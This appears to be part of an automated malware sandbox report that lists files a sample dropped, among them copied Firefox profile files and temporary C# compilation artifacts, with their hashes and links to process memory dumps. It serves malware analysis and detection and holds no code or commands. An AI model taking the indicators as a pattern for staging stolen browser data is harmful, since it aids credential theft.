SHA512 2706f237a6a99d6459ed21d183ca392dad98bdd0e9c5344de088c49efe2a7f0ee073e923f787e74feee5caa6a8e4245a77989dc4d7bff1dc585c1088612b7099
TLSH
T1BD011E869A34B5B29839C34BCA913B0543A47423C4CA49086E519A020D9A61E676AB07
MD5 SHA1 SHA512 TLSH

Submit Download

prefs-1.js

Path C:\Users\Public\.ff_tmp\prefs-1.js
Size 6KB
SHA256 2b64b77705936d7cf2b9aab5aef2b50f14241bc5c691cda634b56e70b4c3ed8d
MD5 dd3b908bdee4205bc2ea2f395e0c0acb
SHA1 99be190b4a3084a896dc43dcaa93fb1f57f41e2f
SHA512 a698ec169fd6ac2f80937ed9e026b8d9f7b4f453e052d3bad8bf2f8129b92b912f5545b992489fef12aeec604a76b42dbb0c7fbaa23e644a59e46c3337a19d9d
SSDEEP 96:xH7tTUkPqGqWffzvhTSHlddv9jMnCHbB9a2Bw8hGcnTA5:1ORWftTSHJbB9a2Bw8hq
TLSH
T152D1207855088F7F74B6376CBC648871AAB2023B7BBF28D750B95484054CF3446E96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 5KB
SHA256 2d860ea6a1dd89a07e0017e9e3ae84c61641e87a18a49ce01a6f2c57921f19a2
MD5 c7ee591017c5d61a1654594918aa019f
SHA1 70ce4d827262d57d52a0b27f0971f3ec3c4e15c2
SHA512 283b85ce1ffa43541d6258f911e46fb6164a61f4565f79efa510217a9178b995b2c507ba4d157797dedf43f8cdbd173ebb1765184980e5f84d9dd19ddc3110c7
SSDEEP 96:xHY9UkPqGqWdfzvhT6Elh9j9nhHbB9a2Bw8hGcnTu:iGRWdtT6EJbB9a2Bw8hQ
TLSH
T1C7C111785508CB7F64B6776CBC648971AA72023BBBBF28D710B54484054CF3885E9AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 1KB
SHA256 13c2489ad074d156db982341e9e88862b5ed0398324e7800e752669256dfcf19
MD5 0aec1479cc10086d78c017d73c4bdc08
SHA1 60055f4e2cbaf8df7387ec6f38e06afcc75473f1
SHA512 582c7781a479506c59cd67dfbd8533b571466269364ded17b69b2bf397abd51e7f2b997c9858b3d37c8176eb2b051e280a8d0c492c9e4b4233096f99b4a9318f
TLSH
T146310CA65909CF7FE1B9326CFC144AA0D273013AB67F5C4224B890854018F3442F69D7
MD5 SHA1 SHA512 TLSH

Submit Download

asrouter.ftl

Path C:\Users\Public\.ff_tmp\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
Size 15KB
SHA256 7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798
MD5 96c542dec016d9ec1ecc4dddfcbaac66
SHA1 6199f7648bb744efa58acf7b96fee85d938389e4
SHA512 cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658
SSDEEP 192:63/CCBmqCIKJumwOGmnOq6b4b9C4GoTlbo2ofF9/cFnSPhxtj3tCiwwau13151iS:OuPngEG1xNUIzFnieWrc
TLSH
T1D162E8CEF48193585D6F920AEDC5B391FB27008C56693C6671AF608873B9529C03EBD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Public\.ff_tmp\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 48KB
SHA256 2b026d36f4f2617d1d1309450e3c8b6fa9351aadd563cd557c6b36428dbc7d63
MD5 30e2c315cc46e320c4614cd9276d96ee
SHA1 fc369b7257e6a7f90de2ef92fc2049c22c2c37f4
SHA512 0d0efb3b5d919cffb1daa30af7b33c6ef5593833b900d83e1f8b068eccdbc9ca2bf35c505fe1ac18dc8c91a17e795c65a24f47829dced54f35f92d467f76e28a
SSDEEP 96:Oa16S6CKnqlizbxV+2xVeU7X2B0EV23Cfi2f6E2A/2g42cRCH2ZMNXCK7mh980X:Oa16S6CdFAWlV4CfiaR/skZhJ730X
TLSH
T16F23348D3A33AD50CB69F0B8639145AA584FB1DD0030278965D9DF8C842B1ABED1FBF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Public\.ff_tmp\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 2.5MB
SHA256 3ec87d691670a915cad43834a6019b85e5b6e29d83b241f18f68cbf02809f232
MD5 729e46700adacb7271ea3e7c33b70e0a
SHA1 dc20a0f5a1685186265bb4100d8a95aa3b12d7e0
SHA512 95aa5c6af75d1dd95dfa6e3f84371b2767f036f3f816411a212bdd87787b8b0a58c3a5aaa8b1497431208d70a413a3761f413a00ad3eb22188d1498a7c933c91
SSDEEP 24576:c/2JUBXu7WZAaQRB/RVy3obu/uZencSRL:c/26ZAaQRB1q/znc6L
TLSH
T1BBC5A5F85082A293F3414032A68147EF21DFE08DA467D90857A55AF9D4B9CFF9E18B3D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite-wal

Path C:\Users\Public\.ff_tmp\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal
Size 128KB
SHA256 15bb342aa85fb18696b1dd99e219b06040150a1f2b03bc5dd5d0ae56ff886c24
MD5 b273d34154b132cffd05258486d38f5c
SHA1 5f66feb7cb8d03c8bab6e162f3af3f2de56c49a9
SHA512 89fcd2eccf089dd107de9721fd431781b47d62c10de757b21e8d0d9a98a1d3a0ddcb5e68fadd326f5e1b03f3de3704a9e14cb59f0c3dbf7022dfef348554d91b
SSDEEP 3072:rd+32HaY3p6x3c0UcHLeHJ/pdnaY3p6x3P7cHLeHyPCD8jsaY3p6x3P7cHLeHdXa:rYwaY3p6x3clcHLeHJxFaY3p6x3P7cHo
TLSH
T10BD3D4993433D953C725D43F566AA2F7141FD2DC0032A28867749B4C385F25BAEAFBA0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3mj0eenm.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\3mj0eenm\3mj0eenm.0.cs
Size 222B
SHA256 e07808a347b5d77b462950e43adcd8098152f82269c2619e32b9fea2cbc9029a
MD5 e0c4bb3f381b58920cb33d14e4f9ac40
SHA1 3cfd9831d1c6d7164674afc741658db3c9128943
SHA512 6b25859af3a423a95db4b13bd455a4f499a0f85f91bc1d431ba6a2e4e917982a755b25901f538e5da75e96502f231db4e07382c39758e9831955ba797dc8c9e1
TLSH
T1BDD0A744525481156886440055C85436E525C02032D53631C6BFD951CD7040992784CF
MD5 SHA1 SHA512 TLSH

Submit Download

3mj0eenm.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\3mj0eenm\3mj0eenm.cmdline
Size 369B
SHA256 003f0f2959651e65101da5d252b4e2de2234fb0ac24bf59c25990b0439a3547e
MD5 c71da7075a55b5cb79a69d327ce64183
SHA1 096763aa4770658325d85e8df2dc7bb648228b03
SHA512 bd09e990436cce46337c1df720715ccd273976b9de398c3267eccbca93c6deaaec3612888aef0aac0bbce1e05ca6e2f1f498940f21dcfafccbdd1901dc749345
TLSH
T1C9E0C02BC247CA7D4ADD17176169C4ACC2B307C729823F845150488DD03F90237D1769
MD5 SHA1 SHA512 TLSH

Submit Download

CSCFF19331358D449A78D6C9E33697BC36A.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\3mj0eenm\CSCFF19331358D449A78D6C9E33697BC36A.TMP
Size 652B
SHA256 f4d73fdcc8468b2b287e3813122ac000d8645644db9cda5b634f3fa64b2b75a2
MD5 7bb6b9ab89836fdcd0ae5bf0ada82fe8
SHA1 1e02c81f41fb8db0c6db137db8d8ec12ed310256
SHA512 4de8d91304a3460a5e6eb5ce1ecef1ffd2b044aabbafec7d5884f5286cdfbf089107b7c3a973df8119c41cf4b36051c77a93e861f9c7c4736985eb56eba7a666
TLSH
T1A4F05E0963FC020EF4F34B30BDF6836395A8BC65DE3293ED5440031928645108972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSC39E6696EE82949AB8030A53B65CD2D9.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\dciirb3m\CSC39E6696EE82949AB8030A53B65CD2D9.TMP
Size 652B
SHA256 868e4a0a298fbc56cbf0ed3c3ca09fa28402af5f334e919e68335bebeeb54dfe
MD5 73909dd0b509c1ebb5ff419abfdffb69
SHA1 a89f573becfc81e259c878a7666d567d79d867b0
SHA512 15f9977e82118caf0f8e967437b646d84c17ab7b62b9b6ddc7d8865d62ba1baf92edd190839e9bfd30e609b6eb2bd1ff2d5e77bfa5eeb4c955887f6b8fbfbf58
TLSH
T1C4F05E0A63F8020EF0F34B30BDF683A795A8BC65EE3293ED1444531D2C64A108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

dciirb3m.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\dciirb3m\dciirb3m.0.cs
Size 224B
SHA256 b59d0d5605f676222f00c1b940c6f01b69ee78d5b562094247cc681bad13b135
MD5 ebddd4574eeb83b8d45984a8f616b1cb
SHA1 44282b278b52094bf41799c4a3458de049be9bd8
SHA512 473f18127cc48d35bc35e46047f6b08b8a7eed28cf3eee2696dbff9bbca5d852a64d02afb59839924436b5c966b55746416cb8d81b261380375d04d9e6ad0ca6
TLSH
T12ED02344116491151DC74049D5D88427F226C03033D83F31CDBFDE51CD7084582780CF
MD5 SHA1 SHA512 TLSH

Submit Download

dciirb3m.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\dciirb3m\dciirb3m.cmdline
Size 369B
SHA256 8cfc033ff55e976013f5199c8a23a0d17b201a9b8cb9beb384529c82d38ec895
MD5 f8fc5895c564969a692db5465f30ed36
SHA1 874df6bfe02ea88641a3cd0fc42f5e39f5a8dfbd
SHA512 6c7e7ced02da33da70339611637762b1e6f06f3d4a70255a3c1badeb5ca0a2329d57e0a531b31896f77eadb246322e2c9c6cffebb009db6bf25b381e7f468bfb
TLSH
T10CE0C62B6346C77D01EF100B226BD6ADC27607833AC1BF849060840DE0270312BE2781
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2636-3755-0x0000000003C70000-0x0000000004242000-memory.dmp

Download

memory/2636-3749-0x0000000003C70000-0x0000000004242000-memory.dmp

Download

memory/2636-3753-0x0000000003C70000-0x0000000004242000-memory.dmp

Download

memory/2636-3754-0x0000000003C70000-0x0000000004242000-memory.dmp

Download

memory/2636-3748-0x00000000017D0000-0x00000000017D3000-memory.dmp

Download

memory/3336-56-0x0000000005010000-0x000000000565A000-memory.dmp

Download

memory/3336-65-0x0000000007640000-0x0000000007CBC000-memory.dmp

Download

memory/3336-64-0x0000000005D40000-0x0000000005D8C000-memory.dmp

Download

memory/3336-63-0x0000000005D00000-0x0000000005D1E000-memory.dmp

Download

memory/3336-62-0x0000000005960000-0x0000000005CBB000-memory.dmp

Download

memory/3336-59-0x0000000005740000-0x00000000057A6000-memory.dmp

Download

memory/3336-66-0x0000000006230000-0x000000000624A000-memory.dmp

Download

memory/3336-58-0x0000000005660000-0x00000000056C6000-memory.dmp

Download

memory/3336-68-0x0000000007CC0000-0x0000000007E82000-memory.dmp

Download

memory/3336-55-0x0000000002490000-0x00000000024C6000-memory.dmp

Download

memory/3336-72-0x0000000007480000-0x00000000074A2000-memory.dmp

Download

memory/3336-57-0x0000000004F30000-0x0000000004F52000-memory.dmp

Download

memory/3336-71-0x00000000074F0000-0x0000000007586000-memory.dmp

Download

memory/3336-73-0x000000000B450000-0x000000000BA0A000-memory.dmp

Download

memory/5012-53-0x0000028036FD0000-0x0000028036FD6000-memory.dmp

Download

memory/5012-0-0x00007FFE6AA5F000-0x00007FFE6AA60000-memory.dmp

Download

memory/5012-30-0x0000028036E40000-0x0000028036E48000-memory.dmp

Download

memory/5012-20-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-19-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-14-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-13-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-12-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-11-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-10-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-9-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-8-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-7-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-6-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-43-0x0000028036E60000-0x0000028036E68000-memory.dmp

Download

memory/5012-46-0x0000028036EA0000-0x0000028036EBE000-memory.dmp

Download

memory/5012-47-0x0000028036EC0000-0x0000028036F72000-memory.dmp

Download

memory/5012-5-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-48-0x0000028036F80000-0x0000028036F8A000-memory.dmp

Download

memory/5012-49-0x0000028036FB0000-0x0000028036FCE000-memory.dmp

Download

memory/5012-50-0x0000028036F90000-0x0000028036F9A000-memory.dmp

Download

memory/5012-51-0x0000028036FF0000-0x000002803700C000-memory.dmp

Download

memory/5012-69-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-52-0x0000028036FA0000-0x0000028036FA8000-memory.dmp

Download

memory/5012-54-0x0000028036FE0000-0x0000028036FEA000-memory.dmp

Download

memory/5012-70-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-77-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-21-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-3-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

Download

memory/5012-4-0x0000028036DD0000-0x0000028036DF2000-memory.dmp

Download

memory/5136-2496-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2627-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-114-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-82-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-162-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-161-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-75-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-580-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2497-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2499-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2501-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2503-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2502-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2505-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2507-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2511-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2513-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2517-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2526-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2564-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2571-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2598-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2613-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-119-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2710-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2796-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-2896-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-76-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-581-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-74-0x0000000000EE0000-0x0000000000F1F000-memory.dmp

Download

memory/5136-582-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-964-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-3757-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-3759-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-3762-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-3756-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-3765-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-3767-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-3768-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-4476-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-4480-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-4483-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-4485-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-4482-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-4481-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download

memory/5136-4492-0x0000000002C30000-0x0000000002CF0000-memory.dmp

Download